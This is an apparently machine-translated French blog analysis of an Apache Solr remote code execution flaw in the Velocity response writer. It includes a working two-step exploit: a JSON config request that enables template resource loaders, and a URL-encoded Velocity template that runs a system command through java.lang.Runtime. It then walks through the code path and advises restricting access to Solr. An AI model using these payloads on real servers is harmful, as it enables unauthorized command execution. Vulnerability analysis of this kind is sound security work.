Maison >Opération et maintenance >Sécurité >Comment analyser la dernière vulnérabilité RCE dans Apache Solr

Comment analyser la dernière vulnérabilité RCE dans Apache Solr

王林
王林avant
2023-05-25 18:58:301553parcourir

Introduction

Une vulnérabilité RCE 0day a été découverte dans Apache Solr (le numéro de vulnérabilité n'est pas donné Ici, nous reproduisons simplement l'objet et analysons l'ensemble du processus RCE pour votre référence).

Récurrence de la vulnérabilité

Version de reproduction : 8.1.1

Pour implémenter RCE, deux étapes sont requises. Tout d'abord, confirmez que l'application a activé un certain noyau (peut être consulté dans Core Admin) et l'application dans l'instance. a activé mycore.

怎样进行Apache Solr最新RCE漏洞分析

Envoyez d'abord les données json suivantes à son interface de configuration,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎样进行Apache Solr最新RCE漏洞分析

Visitez ensuite l'URL suivante pour implémenter RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Principe

Analysez d'abord le premier paquet de données, car c'est pour la configuration mycore, nous définissons donc d'abord un point d'arrêt sur la fonction handleRequestBody de SolrConfigHandler qui gère la demande de configuration

怎样进行Apache Solr最新RCE漏洞分析

Parce qu'il s'agit d'une requête POST, suivez la fonction handlePOST,

怎样进行Apache Solr最新RCE漏洞分析

Dans handlePOST, retirer mycore d'abord La configuration actuelle est introduite dans la fonction handleCommands en même temps que la configuration que nous avons envoyée, et dans les opérations suivantes, elle entre finalement dans la fonction addNamedPlugin et crée un objet VelocityResponseWriter avec solr.resource.loader.enabled et params. ressource La valeur de loader.enabled est définie sur true et le nom de l'objet est la vitesse.

怎样进行Apache Solr最新RCE漏洞分析

Ensuite, lors de l'envoi du deuxième paquet de données, lors de l'obtention du réponseWriter dans HttpSolrCall.call, l'objet réponseWriter sera obtenu en fonction de la valeur du paramètre wt. Lorsque wt est la vitesse, ce que nous obtenons est celui soigneusement configuré. . Après une série d'appels ultérieurs, le VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

entre enfin dans la fonction VelocityResponseWriter.write qui est la plus grave dans notre vulnérabilité. Tout d'abord, la fonction createEngine est appelée pour générer un modèle malveillant contenant custom.vrm. ->payload. engine,

怎样进行Apache Solr最新RCE漏洞分析

Le modèle malveillant est placé dans params.resource.loader.instance et solr.resource.loader.instance des propriétés de remplacement du moteur

怎样进行Apache Solr最新RCE漏洞分析

Il y a un point très important. ici, si vous souhaitez créer le modèle malveillant en entrant params.resource.loader.instance et solr.resource.loader.instance, vous devez vous assurer que paramsResourceLoaderEnabled et solrResourceLoaderEnabled sont True. C'est ce que fait notre premier paquet de données,

怎样进行Apache Solr最新RCE漏洞分析.

puis VelocityResponseWriter. getTemplate obtiendra le modèle malveillant que nous avons construit sur la base du paramètre v.template que nous avons soumis

怎样进行Apache Solr最新RCE漏洞分析

Enfin, le modèle malveillant a été supprimé et sa méthode de fusion a été appelée,

怎样进行Apache Solr最新RCE漏洞分析

Pour comprendre ce modèle, vous devez le comprendre Moteur de modèle Java Velocity (car ce modèle est un objet de classe org.apache.velocity.Template), la déclaration officielle est traduite comme suit,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象

De cette déclaration, nous pouvons voir que ce modèle Le moteur a pour fonction d'exécuter du code Java.Nous avons seulement besoin de comprendre sa méthode d'écriture de base,

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);

Avec l'introduction de la syntaxe de base ci-dessus, nous pouvons comprendre la méthode de construction de la charge utile. Si vous souhaitez une compréhension plus approfondie, vous pouvez vérifier Velocity. Informations Java par vous-même, nous sommes ici. Pas plus de profondeur.

Ainsi, grâce à la méthode de fusion du modèle malveillant appelé en dernier, le RCE a été provoqué avec succès et la chaîne d'appel de clé a finalement été ajoutée.

怎样进行Apache Solr最新RCE漏洞分析

Plan de réparation

À l'heure actuelle, le patch officiel n'a pas été fourni. Il est recommandé de restreindre l'accès à Solr.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer